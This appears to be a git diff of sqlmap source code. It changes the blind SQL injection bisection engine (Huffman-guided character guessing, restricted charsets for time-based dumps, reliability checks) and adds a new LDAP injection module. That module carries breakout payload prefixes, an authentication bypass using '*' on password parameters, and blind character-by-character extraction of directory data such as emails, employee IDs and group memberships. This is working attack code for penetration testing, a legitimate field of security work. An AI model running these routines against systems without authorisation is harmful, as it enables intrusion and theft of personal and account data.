verifyPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, value))
|
||||
verified = Request.queryPage(verifyPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(getTechnique())
|
||||
if verified:
|
||||
kb.huffmanValidated = True
|
||||
else:
|
||||
kb.disableHuffman = True
|
||||
return _HUFFMAN_FALLBACK
|
||||
|
||||
with kb.locks.prediction:
|
||||
model.setdefault(context, {})[value] = model.setdefault(context, {}).get(value, 0) + 1
|
||||
return decodeIntToUnicode(value)
|
||||
|
||||
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None, restricted=False):
|
||||
"""
|
||||
continuousOrder means that distance between each two neighbour's
|
||||
numerical values is exactly 1
|
||||
|
||||
restricted means charTbl is a narrowed per-column observed range (time-based only): a character
|
||||
landing outside it fails validateChar and is re-extracted over the full charset.
|
||||
"""
|
||||
|
||||
threadData = getCurrentThreadData()
|
||||
@@ -279,6 +639,25 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
if result:
|
||||
return result
|
||||
|
||||
# Huffman set-membership applies to boolean-based dumps and name enumeration. It stays off for
|
||||
# time-based, where each membership step is timing-noisy and lacks per-character validation
|
||||
# (measured to trade accuracy for little/no gain there); time-based relies on plain bisection
|
||||
# plus low-cardinality whole-value guessing instead.
|
||||
if (not conf.noHuffman and not kb.disableHuffman and (dump or kb.partRun in NAME_PREDICTION_CONTEXTS) and continuousOrder and charsetType is None and not timeBasedCompare
|
||||
and ("%s%s" % (INFERENCE_GREATER_CHAR, "%d")) in payload
|
||||
and ("'%s'" % CHAR_INFERENCE_MARK) not in payload):
|
||||
kb.huffmanProbes = (kb.huffmanProbes or 0) + 1
|
||||
result = huffmanChar(idx)
|
||||
if result is not _HUFFMAN_FALLBACK:
|
||||
return result
|
||||
# huffman declined this character (Unicode/escape, or failed the validation probe).
|
||||
# If the set-membership channel keeps escaping it is not paying off here (trimmed/
|
||||
# blocked long payloads, or non-ASCII-heavy data) -> latch off so the classic '>'
|
||||
# bisection takes over efficiently for the rest of the run.
|
||||
kb.huffmanEscapes = (kb.huffmanEscapes or 0) + 1
|
||||
if kb.huffmanProbes >= HUFFMAN_PROBE_LIMIT and kb.huffmanEscapes * 2 >= kb.huffmanProbes:
|
||||
kb.disableHuffman = True
|
||||
|
||||
if charTbl is None:
|
||||
charTbl = type(asciiTbl)(asciiTbl)
|
||||
|
||||
@@ -427,7 +806,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
retVal = minValue + 1
|
||||
|
||||
if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
|
||||
if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal):
|
||||
if (timeBasedCompare or unexpectedCode) and kb.get("timeless") is None and not validateChar(idx, retVal):
|
||||
if restricted:
|
||||
# the character fell outside this column's observed range - re-extract
|
||||
# over the full charset (not timing noise, so no delay increase / retry count)
|
||||
return getChar(idx, asciiTbl, True, retried=retried)
|
||||
if not kb.originalTimeDelay:
|
||||
kb.originalTimeDelay = conf.timeSec
|
||||
|
||||
@@ -508,6 +891,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
return None
|
||||
else:
|
||||
return decodeIntToUnicode(candidates[0])
|
||||
elif restricted:
|
||||
# the self-validating '=' failed: the character is outside this column's observed set
|
||||
# (or is end-of-string) - re-extract over the full charset, which validates the value
|
||||
# and detects end-of-string correctly
|
||||
return getChar(idx, asciiTbl, True, retried=retried)
|
||||
|
||||
# Go multi-threading (--threads > 1)
|
||||
if numThreads > 1 and isinstance(length, int) and length > 1:
|
||||
@@ -615,11 +1003,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
# Common prediction feature (a.k.a. "good samaritan")
|
||||
# NOTE: to be used only when multi-threading is not set for
|
||||
# the moment
|
||||
if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
|
||||
if kb.partRun in NAME_PREDICTION_CONTEXTS and len(partialValue) > 0:
|
||||
val = None
|
||||
commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)
|
||||
commonValue, commonPattern, commonCharset, otherCharset = predictValue(partialValue, asciiTbl)
|
||||
|
||||
# If there is one single output in common-outputs, check
|
||||
# If a single wordlist entry matches the prefix, confirm
|
||||
# it via equal against the query output
|
||||
if commonValue is not None:
|
||||
# One-shot query containing equals commonValue
|
||||
@@ -661,19 +1049,45 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
val = commonPattern[index - 1:]
|
||||
index += len(val) - 1
|
||||
|
||||
# Otherwise if there is no commonValue (single match from
|
||||
# txt/common-outputs.txt) and no commonPattern
|
||||
# (common pattern) use the returned common charset only
|
||||
# to retrieve the query output
|
||||
if not val and commonCharset:
|
||||
val = getChar(index, commonCharset, False)
|
||||
|
||||
# If we had no luck with commonValue and common charset,
|
||||
# use the returned other charset
|
||||
# Char-by-char fallback. When Huffman is actually active it is driven over the full
|
||||
# (continuous) charset: the corpus-Markov-seeded tree puts the single likeliest next
|
||||
# character at its root (~1 request), subsuming the common/other charset split. When
|
||||
# Huffman is unavailable (--no-huffman, latched off after repeated escapes, or TIME-BASED
|
||||
# where getChar disables it) the classic reordered-charset bisection is used instead - so
|
||||
# the predicted commonCharset ordering is not thrown away (time-based would otherwise pay
|
||||
# full-charset bisection for every character).
|
||||
if not val:
|
||||
val = getChar(index, otherCharset, otherCharset == asciiTbl)
|
||||
if not conf.noHuffman and not kb.disableHuffman and not timeBasedCompare:
|
||||
val = getChar(index, asciiTbl, True)
|
||||
else:
|
||||
if commonCharset:
|
||||
val = getChar(index, commonCharset, False)
|
||||
|
||||
if not val:
|
||||
val = getChar(index, otherCharset, otherCharset == asciiTbl)
|
||||
else:
|
||||
val = getChar(index, asciiTbl, not (charsetType is None and conf.charset))
|
||||
# Time-based dump: once a column's character set has proven closed (unchanged for
|
||||
# DUMP_CHARSET_STABLE_ROWS consecutive rows), search only those
|
||||
# observed ordinals via the bit-search (continuousOrder=False), whose final '=' equality
|
||||
# self-validates the character (no separate validateChar). A narrow-charset column (hex,
|
||||
# digits, dates, decimals) collapses from ~log2(full charset)+1 toward ~log2(set)+1
|
||||
# delayed requests/char. A character outside the observed set makes that '=' fail and is
|
||||
# re-extracted over the full charset (see the restricted escalation in getChar). Time-based
|
||||
# only: boolean has no per-character validation to catch such a miss (and uses Huffman).
|
||||
restrictedTbl = None
|
||||
if (dump and timeBasedCompare and columnKey is not None and charsetType is None and not conf.charset
|
||||
and kb.dumpCharsetStable.get(columnKey, 0) >= DUMP_CHARSET_STABLE_ROWS):
|
||||
with kb.locks.prediction:
|
||||
observed = set(kb.dumpCharset.get(columnKey) or ()) # snapshot (value-parallel safe)
|
||||
if observed and len(observed) <= 64:
|
||||
# include the 0 end-of-string sentinel so end is detected in-band (the bit-search
|
||||
# returns None on 0), avoiding a full-charset escalation at the end of every value
|
||||
restrictedTbl = sorted(observed | set((0,)))
|
||||
|
||||
if restrictedTbl is not None:
|
||||
val = getChar(index, restrictedTbl, False, expand=False, restricted=True)
|
||||
else:
|
||||
val = getChar(index, asciiTbl, not (charsetType is None and conf.charset))
|
||||
|
||||
if val is None:
|
||||
finalValue = partialValue
|
||||
@@ -711,7 +1125,17 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
|
||||
if finalValue is not None:
|
||||
finalValue = decodeDbmsHexValue(finalValue) if conf.hexConvert else finalValue
|
||||
hashDBWrite(expression, finalValue)
|
||||
if not (conf.firstChar or conf.lastChar): # Note: --first/--last give a range-limited (non-complete) output; caching it unmarked would let a later resume serve the truncated value as the full one
|
||||
hashDBWrite(expression, finalValue)
|
||||
|
||||
# Adaptive intra-run prediction: remember this extracted name for its enumeration context so
|
||||
# later same-context items sharing structure (e.g. wp_posts / wp_users ...) are predicted faster.
|
||||
# Fed ONLY single-threaded (not kb.multiThreadMode) so it never mutates the pool while a
|
||||
# value-parallel worker is iterating it. Length-capped; a wrong prediction only costs a probe.
|
||||
if (kb.partRun in NAME_PREDICTION_CONTEXTS and not kb.multiThreadMode and kb.commonOutputs is not None
|
||||
and 0 < len(finalValue) <= PREDICTION_FEEDBACK_MAX_LENGTH
|
||||
and len(kb.commonOutputs.get(kb.partRun) or ()) < PREDICTION_FEEDBACK_MAX_ITEMS):
|
||||
kb.commonOutputs.setdefault(kb.partRun, set()).add(finalValue)
|
||||
elif partialValue:
|
||||
hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue))
|
||||
|
||||
@@ -734,6 +1158,42 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
|
||||
_ = finalValue or partialValue
|
||||
|
||||
# Record this cell for the column's low-cardinality guessing cache (frequency-tracked so the most
|
||||
# common values are probed first; bounded so a clearly high-cardinality column stops accumulating).
|
||||
if columnKey is not None and finalValue:
|
||||
# Track the column's low-cardinality cache and observed character set. Guarded by the prediction
|
||||
# lock because value-parallel dump workers update these concurrently.
|
||||
ordinals = set(ord(_c) for _c in finalValue if ord(_c) < 128)
|
||||
with kb.locks.prediction:
|
||||
seen = kb.lowCardCache.setdefault(columnKey, {})
|
||||
if finalValue in seen or len(seen) <= LOW_CARDINALITY_THRESHOLD + 2:
|
||||
seen[finalValue] = seen.get(finalValue, 0) + 1
|
||||
|
||||
if ordinals:
|
||||
existing = kb.dumpCharset.setdefault(columnKey, set())
|
||||
grew = not ordinals.issubset(existing) # did this row introduce a never-seen character?
|
||||
existing.update(ordinals)
|
||||
# Trust the observed alphabet as closed only after it stays unchanged for several consecutive
|
||||
# rows. A column that keeps growing (monotonic PK, high-entropy text) resets the counter and
|
||||
# never triggers the restricted search, so it is never charged the miss-then-escalate cost.
|
||||
kb.dumpCharsetStable[columnKey] = 0 if grew else kb.dumpCharsetStable.get(columnKey, 0) + 1
|
||||
|
||||
# Oracle-reliability litmus: on bulk extraction (dumps / name enumeration) periodically fire a
|
||||
# known-answer differential so an always-true / flaky / degraded channel that would otherwise dump
|
||||
# SILENT garbage instead raises a one-time "results may be unreliable" warning. First value is always
|
||||
# checked (catch it before a whole bad dump), then every ORACLE_LITMUS_CHECK_EVERY-th.
|
||||
if (ORACLE_LITMUS_CHECK_EVERY and finalValue and not kb.reliabilityAlarm and not kb.bruteMode
|
||||
and (columnKey is not None or kb.partRun in NAME_PREDICTION_CONTEXTS)):
|
||||
with kb.locks.prediction:
|
||||
kb.litmusCounter += 1
|
||||
due = (kb.litmusCounter == 1 or kb.litmusCounter % ORACLE_LITMUS_CHECK_EVERY == 0)
|
||||
if due and not oracleReliabilityLitmus(expressionUnescaped, finalValue, timeBasedCompare):
|
||||
kb.reliabilityAlarm = True
|
||||
warnMsg = "the target's responses are inconsistent for known-true/known-false probes "
|
||||
warnMsg += "(reads-everything-true, WAF, or a flaky/degraded channel); extracted data may "
|
||||
warnMsg += "be unreliable. Consider raising '--time-sec', lowering '--threads', or retrying"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
return getCounter(getTechnique()), safecharencode(_) if kb.safeCharEncode else _
|
||||
|
||||
def queryOutputLength(expression, payload):
|
||||
|
||||
@@ -84,7 +84,10 @@ def dnsUse(payload, expression):
|
||||
_ = conf.dnsServer.pop(prefix, suffix)
|
||||
|
||||
if _:
|
||||
_ = extractRegexResult(r"%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
|
||||
# Note: non-greedy so a '--dns-domain' label that happens to match the random
|
||||
# suffix can't make the match run past the real boundary (the boundary alphabet
|
||||
# excludes hex characters, so it can never under-match into the hex payload)
|
||||
_ = extractRegexResult(r"%s\.(?P<result>.+?)\.%s" % (prefix, suffix), _, re.I)
|
||||
_ = decodeDbmsHexValue(_)
|
||||
output = (output or "") + _
|
||||
offset += len(_)
|
||||
|
||||
@@ -314,8 +314,8 @@ def errorUse(expression, dump=False):
|
||||
|
||||
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)
|
||||
|
||||
# Set kb.partRun in case the engine is called from the API
|
||||
kb.partRun = getPartRun(alias=False) if conf.api else None
|
||||
# Set kb.partRun in case the engine is called from the API or a JSON report is being collected
|
||||
kb.partRun = getPartRun(alias=False) if (conf.api or conf.reportJson) else None
|
||||
|
||||
# We have to check if the SQL query might return multiple entries
|
||||
# and in such case forge the SQL limiting the query output one
|
||||
@@ -326,8 +326,10 @@ def errorUse(expression, dump=False):
|
||||
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
|
||||
|
||||
if limitCond:
|
||||
# Count the number of SQL query entries output
|
||||
countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)
|
||||
# Count the number of SQL query entries output. NOTE: always COUNT(*) (row count); a single
|
||||
# field must NOT use COUNT(field) as that excludes NULLs and would drop NULL-valued rows from
|
||||
# the dump (e.g. a column whose value is NULL on some rows).
|
||||
countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % '*', 1)
|
||||
|
||||
if " ORDER BY " in countedExpression.upper():
|
||||
_ = countedExpression.upper().rindex(" ORDER BY ")
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
pass
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,8 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
pass
|
||||
@@ -0,0 +1,756 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import difflib
|
||||
import re
|
||||
import time
|
||||
|
||||
from collections import namedtuple
|
||||
|
||||
from lib.core.common import beep
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import CUSTOM_LOGGING
|
||||
from lib.core.enums import PLACE
|
||||
from lib.core.settings import LDAP_CHAR_MAX
|
||||
from lib.core.settings import LDAP_CHAR_MIN
|
||||
from lib.core.settings import LDAP_ERROR_REGEX
|
||||
from lib.core.settings import LDAP_ERROR_SIGNATURES
|
||||
from lib.core.settings import LDAP_FINGERPRINT_ATTRIBUTES
|
||||
from lib.core.settings import LDAP_MAX_LENGTH
|
||||
from lib.core.settings import LDAP_MAX_RECORDS
|
||||
from lib.core.settings import UPPER_RATIO_BOUND
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.utils.xrange import xrange
|
||||
|
||||
|
||||
SENTINEL = randomStr(length=10, lowercase=True)
|
||||
|
||||
# _send() below currently knows how to rebuild GET and POST-style parameter
|
||||
# strings. Cookie and URI delivery require separate per-place logic and should not
|
||||
# be advertised until implemented.
|
||||
LDAP_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST)
|
||||
|
||||
# Breakouts are tried against the original application filter template. The
|
||||
# generated assertion fragments intentionally stay open-ended: the vulnerable
|
||||
# application usually appends the closing ')' or trailing substring '*') itself.
|
||||
LDAP_BREAKOUT_PREFIXES = (
|
||||
"*)", # substring + one assertion: (attr=*<input>*)
|
||||
")", # exact-match one assertion: (attr=<input>)
|
||||
"|", # injection at filter-list head
|
||||
"*))(", # substring + two assertions deep
|
||||
"*)))", # substring + three assertions deep
|
||||
")))", # exact-match three assertions deep
|
||||
)
|
||||
|
||||
LDAP_TAUTOLOGY_ATTRIBUTES = (
|
||||
"objectClass",
|
||||
"uid",
|
||||
"cn",
|
||||
)
|
||||
|
||||
ENTRY_KEY_ATTRIBUTES = (
|
||||
"uid",
|
||||
"sAMAccountName",
|
||||
"userPrincipalName",
|
||||
"mail",
|
||||
"cn",
|
||||
)
|
||||
|
||||
DUMP_ATTRIBUTES = (
|
||||
"uid",
|
||||
"cn",
|
||||
"sn",
|
||||
"givenName",
|
||||
"displayName",
|
||||
"mail",
|
||||
"sAMAccountName",
|
||||
"userPrincipalName",
|
||||
"title",
|
||||
"department",
|
||||
"company",
|
||||
"o",
|
||||
"ou",
|
||||
"telephoneNumber",
|
||||
"mobile",
|
||||
"manager",
|
||||
"description",
|
||||
"l",
|
||||
"st",
|
||||
"street",
|
||||
"postalCode",
|
||||
"c",
|
||||
"co",
|
||||
"employeeID",
|
||||
"employeeNumber",
|
||||
"employeeType",
|
||||
"objectClass",
|
||||
"objectCategory",
|
||||
)
|
||||
|
||||
MULTI_VALUE_ATTRIBUTES = (
|
||||
"member",
|
||||
"memberOf",
|
||||
"uniqueMember",
|
||||
)
|
||||
|
||||
Slot = namedtuple("Slot", ("place", "parameter", "backend", "oracle", "template", "payload", "breakout", "bypass"))
|
||||
Slot.__new__.__defaults__ = (None, None, None, None, None, None, None, None)
|
||||
|
||||
|
||||
def _ratio(first, second):
|
||||
return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio()
|
||||
|
||||
|
||||
def _delim(place):
|
||||
return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&'
|
||||
|
||||
|
||||
def _confParameters(place):
|
||||
try:
|
||||
return conf.parameters.get(place, "")
|
||||
except AttributeError:
|
||||
return conf.parameters[place] if place in conf.parameters else ""
|
||||
|
||||
|
||||
def _originalValue(place, parameter):
|
||||
for segment in _confParameters(place).split(_delim(place)):
|
||||
name, _, value = segment.partition('=')
|
||||
if name.strip() == parameter:
|
||||
return value
|
||||
return conf.paramDict.get(place, {}).get(parameter) or ""
|
||||
|
||||
|
||||
def _replaceSegment(place, parameter, value):
|
||||
delimiter = _delim(place)
|
||||
raw = _confParameters(place)
|
||||
retVal, replaced = [], False
|
||||
|
||||
for part in raw.split(delimiter):
|
||||
name, _, _ = part.partition('=')
|
||||
if not replaced and name.strip() == parameter:
|
||||
retVal.append("%s=%s" % (name, value))
|
||||
replaced = True
|
||||
else:
|
||||
retVal.append(part)
|
||||
|
||||
if not replaced:
|
||||
retVal = []
|
||||
for name, oldValue in conf.paramDict.get(place, {}).items():
|
||||
retVal.append("%s=%s" % (name, value if name == parameter else oldValue))
|
||||
|
||||
return delimiter.join(retVal)
|
||||
|
||||
|
||||
def _send(place, parameter, value):
|
||||
skipUrlEncode = conf.skipUrlEncode
|
||||
conf.skipUrlEncode = True
|
||||
|
||||
if conf.delay:
|
||||
time.sleep(conf.delay)
|
||||
|
||||
try:
|
||||
kwargs = {"raise404": False, "silent": True}
|
||||
payload = _replaceSegment(place, parameter, value)
|
||||
kwargs["post" if place in (PLACE.POST, PLACE.CUSTOM_POST) else "get"] = payload
|
||||
|
||||
if conf.verbose >= 3:
|
||||
logger.log(CUSTOM_LOGGING.PAYLOAD, payload)
|
||||
page, _, _ = Request.getPage(**kwargs)
|
||||
return page or ""
|
||||
except Exception as ex:
|
||||
logger.debug("LDAP probe request failed: %s" % getUnicode(ex))
|
||||
return ""
|
||||
finally:
|
||||
conf.skipUrlEncode = skipUrlEncode
|
||||
|
||||
|
||||
def _isError(page):
|
||||
return bool(re.search(LDAP_ERROR_REGEX, getUnicode(page or "")))
|
||||
|
||||
|
||||
def _backendFromError(page):
|
||||
page = getUnicode(page or "")
|
||||
for backend, regex in LDAP_ERROR_SIGNATURES:
|
||||
if re.search(regex, page):
|
||||
return backend
|
||||
return "Generic LDAP" if _isError(page) else None
|
||||
|
||||
|
||||
def _probeBackendByParserError(place, parameter):
|
||||
"""Probe for LDAP filter parser errors to obtain a backend hint.
|
||||
This is NOT authoritative vulnerability detection -- only a boolean
|
||||
oracle (from _detectBoolean) confirms exploitable injection."""
|
||||
|
||||
original = _originalValue(place, parameter) or "x"
|
||||
normal = _send(place, parameter, original)
|
||||
|
||||
# Use LDAP filter syntax breakers, not apostrophes. Apostrophes are not LDAP
|
||||
# filter metacharacters and only detect broken LDAP emulators backed by SQL.
|
||||
for suffix in (")", "*)"):
|
||||
payload = original + suffix
|
||||
broken = _send(place, parameter, payload)
|
||||
|
||||
if not normal or _ratio(normal, broken) >= UPPER_RATIO_BOUND:
|
||||
continue
|
||||
|
||||
backend = _backendFromError(broken)
|
||||
if backend and not _isError(normal):
|
||||
return backend, payload
|
||||
|
||||
return None, None
|
||||
|
||||
|
||||
def _boolean(truthy, falsy):
|
||||
"""Return the reproducible true page when true/false probes diverge."""
|
||||
|
||||
truePage = truthy()
|
||||
if not truePage or _isError(truePage):
|
||||
return None
|
||||
|
||||
falsePage = falsy()
|
||||
if not falsePage or _isError(falsePage):
|
||||
return None
|
||||
|
||||
truePage2 = truthy()
|
||||
if _ratio(truePage, truePage2) >= UPPER_RATIO_BOUND and _ratio(truePage, falsePage) < UPPER_RATIO_BOUND:
|
||||
return truePage
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def _detectBoolean(place, parameter):
|
||||
"""Return (template, payload, breakout) for boolean-blind LDAPi."""
|
||||
|
||||
original = _originalValue(place, parameter) or ""
|
||||
falsePayload = original + SENTINEL
|
||||
|
||||
for breakout in LDAP_BREAKOUT_PREFIXES:
|
||||
for attr in LDAP_TAUTOLOGY_ATTRIBUTES:
|
||||
# Open fragment by design. The application template supplies the tail.
|
||||
truePayload = "%s%s(%s=*" % (original, breakout, attr)
|
||||
template = _boolean(lambda p=truePayload: _send(place, parameter, p),
|
||||
lambda p=falsePayload: _send(place, parameter, p))
|
||||
if template:
|
||||
return template, truePayload, breakout
|
||||
|
||||
# Useful for auth/search bypass reporting, but not enough to synthesize
|
||||
# arbitrary LDAP filters for enumeration.
|
||||
if original:
|
||||
template = _boolean(lambda: _send(place, parameter, "*"),
|
||||
lambda: _send(place, parameter, SENTINEL))
|
||||
if template:
|
||||
return template, "*", None
|
||||
|
||||
return None, None, None
|
||||
|
||||
|
||||
def _isPasswordParam(parameter):
|
||||
parameter = getUnicode(parameter or "").lower()
|
||||
return any(_ in parameter for _ in ("pass", "pwd", "secret", "pin", "cred", "key", "token", "auth"))
|
||||
|
||||
|
||||
def _detectAuthBypass(place, parameter):
|
||||
if not _isPasswordParam(parameter):
|
||||
return None
|
||||
|
||||
starPage = _send(place, parameter, "*")
|
||||
sentinelPage = _send(place, parameter, SENTINEL)
|
||||
|
||||
if starPage and sentinelPage and _ratio(starPage, sentinelPage) < UPPER_RATIO_BOUND:
|
||||
return "*"
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def _fingerprintByError(backend):
|
||||
if not backend:
|
||||
return None
|
||||
if "Active Directory" in backend:
|
||||
return "Microsoft Active Directory"
|
||||
if "OpenLDAP" in backend:
|
||||
return "OpenLDAP"
|
||||
if "ApacheDS" in backend:
|
||||
return "ApacheDS"
|
||||
if "Oracle" in backend:
|
||||
return "Oracle Directory Server"
|
||||
if "389" in backend:
|
||||
return "389 Directory Server"
|
||||
if "python-ldap" in backend or "Java JNDI" in backend:
|
||||
return backend
|
||||
return backend
|
||||
|
||||
|
||||
def _transportEncode(value):
|
||||
"""
|
||||
Encode only transport-sensitive characters because _send() disables sqlmap's
|
||||
regular URL encoding. LDAP filter syntax should remain raw; assertion values
|
||||
should be passed through _ldapLiteral() first.
|
||||
"""
|
||||
|
||||
value = getUnicode(value)
|
||||
value = value.replace("%", "%25")
|
||||
value = value.replace("#", "%23")
|
||||
value = value.replace("&", "%26")
|
||||
value = value.replace("+", "%2B")
|
||||
value = value.replace("=", "%3D")
|
||||
value = value.replace(" ", "%20")
|
||||
return value
|
||||
|
||||
|
||||
def _ldapLiteral(value):
|
||||
"""Escape an LDAP assertion value, then protect URL transport bytes."""
|
||||
|
||||
value = getUnicode(value)
|
||||
value = value.replace("\\", "\\5c")
|
||||
value = value.replace("*", "\\2a")
|
||||
value = value.replace("(", "\\28")
|
||||
value = value.replace(")", "\\29")
|
||||
value = value.replace("\x00", "\\00")
|
||||
return _transportEncode(value)
|
||||
|
||||
|
||||
class _ProbeBuilder(object):
|
||||
"""
|
||||
Build payloads that preserve the winning breakout shape.
|
||||
|
||||
Simple probes are open fragments, e.g. SENTINEL*)(uid=adm*
|
||||
The target application's original filter template supplies the closing suffix.
|
||||
Compound probes close their own (&...) filter, then open a dummy assertion to
|
||||
consume that same application suffix.
|
||||
"""
|
||||
|
||||
def __init__(self, breakout):
|
||||
self.breakout = breakout or ")"
|
||||
|
||||
def raw(self, fragment, lead=None):
|
||||
return "%s%s%s" % (lead if lead is not None else SENTINEL, self.breakout, fragment)
|
||||
|
||||
def presence(self, attr, constraint=None, exclusions=None):
|
||||
assertion = "(%s=*)" % attr
|
||||
if constraint or exclusions:
|
||||
return self._compound(assertion, constraint=constraint, exclusions=exclusions)
|
||||
return self.raw("(%s=*" % attr)
|
||||
|
||||
def prefix(self, attr, value, constraint=None, exclusions=None):
|
||||
assertion = "(%s=%s*)" % (attr, _ldapLiteral(value))
|
||||
if constraint or exclusions:
|
||||
return self._compound(assertion, constraint=constraint, exclusions=exclusions)
|
||||
return self.raw("(%s=%s*" % (attr, _ldapLiteral(value)))
|
||||
|
||||
def contains(self, attr, value, constraint=None, exclusions=None):
|
||||
assertion = "(%s=*%s*)" % (attr, _ldapLiteral(value))
|
||||
if constraint or exclusions:
|
||||
return self._compound(assertion, constraint=constraint, exclusions=exclusions)
|
||||
return self.raw("(%s=*%s*" % (attr, _ldapLiteral(value)))
|
||||
|
||||
def equals(self, attr, value, constraint=None, exclusions=None):
|
||||
assertion = "(%s=%s)" % (attr, _ldapLiteral(value))
|
||||
if constraint or exclusions:
|
||||
return self._compound(assertion, constraint=constraint, exclusions=exclusions)
|
||||
|
||||
# Exact equality cannot be made reliable in an unknown trailing template,
|
||||
# so simple contexts fall back to prefix semantics.
|
||||
return self.prefix(attr, value)
|
||||
|
||||
def _compound(self, assertion, constraint=None, exclusions=None):
|
||||
clauses = []
|
||||
|
||||
if constraint:
|
||||
cAttr, cValue = constraint
|
||||
clauses.append("(%s=%s)" % (cAttr, _ldapLiteral(cValue)))
|
||||
|
||||
for eAttr, eValue in exclusions or ():
|
||||
clauses.append("(!(%s=%s))" % (eAttr, _ldapLiteral(eValue)))
|
||||
|
||||
# Raw '&' would split GET parameters because skipUrlEncode=True. Use %26
|
||||
# so the HTTP layer decodes it into LDAP '&' inside the parameter value.
|
||||
compound = "(%%26%s%s)" % ("".join(clauses), assertion)
|
||||
|
||||
# Dummy suffix eater: the original app template can safely append its tail.
|
||||
return self.raw("%s(objectClass=%s*" % (compound, SENTINEL))
|
||||
|
||||
|
||||
def _makeOracle(place, parameter, template):
|
||||
cache = {}
|
||||
|
||||
def request(payload):
|
||||
if payload not in cache:
|
||||
cache[payload] = _send(place, parameter, payload)
|
||||
return cache[payload]
|
||||
|
||||
falsePage = request(SENTINEL)
|
||||
|
||||
def oracle(payload):
|
||||
page = request(payload)
|
||||
if not page or _isError(page):
|
||||
return False
|
||||
return _ratio(template, page) >= UPPER_RATIO_BOUND
|
||||
|
||||
def extract(payload):
|
||||
page = request(payload)
|
||||
if not page or _isError(page):
|
||||
return False
|
||||
return _ratio(falsePage, page) < UPPER_RATIO_BOUND
|
||||
|
||||
oracle.extract = extract
|
||||
oracle.template = template
|
||||
oracle.falsePage = falsePage
|
||||
oracle.cache = cache
|
||||
return oracle
|
||||
|
||||
|
||||
# Avoid LDAP metacharacters in blind character extraction. In real LDAP they can
|
||||
# be escaped, but many simple test harnesses decode them before wildcard handling,
|
||||
# producing false positives. Transport-sensitive chars are allowed because
|
||||
# _ldapLiteral() encodes them.
|
||||
_META_ORDS = set(ord(_) for _ in ('*', '(', ')', '\\'))
|
||||
_FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) +
|
||||
tuple(xrange(ord('A'), ord('Z') + 1)) +
|
||||
tuple(xrange(ord('0'), ord('9') + 1)) +
|
||||
tuple(ord(_) for _ in "@._-+ "))
|
||||
_CHARSET = []
|
||||
for _ in _FREQ:
|
||||
if LDAP_CHAR_MIN <= _ <= LDAP_CHAR_MAX and _ not in _META_ORDS and _ not in _CHARSET:
|
||||
_CHARSET.append(_)
|
||||
for _ in xrange(LDAP_CHAR_MIN, LDAP_CHAR_MAX + 1):
|
||||
if _ not in _META_ORDS and _ not in _CHARSET:
|
||||
_CHARSET.append(_)
|
||||
|
||||
|
||||
def _exists(oracle, builder, attr, constraint=None, exclusions=None):
|
||||
return oracle.extract(builder.presence(attr, constraint=constraint, exclusions=exclusions))
|
||||
|
||||
|
||||
def _inferAttribute(oracle, builder, attr, constraint=None, exclusions=None, maxLen=LDAP_MAX_LENGTH):
|
||||
value = ""
|
||||
probes = 0
|
||||
|
||||
for _ in xrange(maxLen):
|
||||
found = False
|
||||
|
||||
for cp in _CHARSET:
|
||||
candidate = value + chr(cp)
|
||||
probes += 1
|
||||
|
||||
if oracle.extract(builder.prefix(attr, candidate, constraint=constraint, exclusions=exclusions)):
|
||||
value = candidate
|
||||
found = True
|
||||
break
|
||||
|
||||
if not found:
|
||||
break
|
||||
|
||||
# Three or more consecutive trailing spaces never occur in real
|
||||
# directory data. When the server-side LDAP-to-SQL translation
|
||||
# (or equivalent) spuriously matches a trailing-space probe (e.g.
|
||||
# mail=user@dom * matching user@dom), the extraction would
|
||||
# otherwise chase an endless phantom suffix. Terminate and strip.
|
||||
if value.endswith(" "):
|
||||
value = value.rstrip()
|
||||
break
|
||||
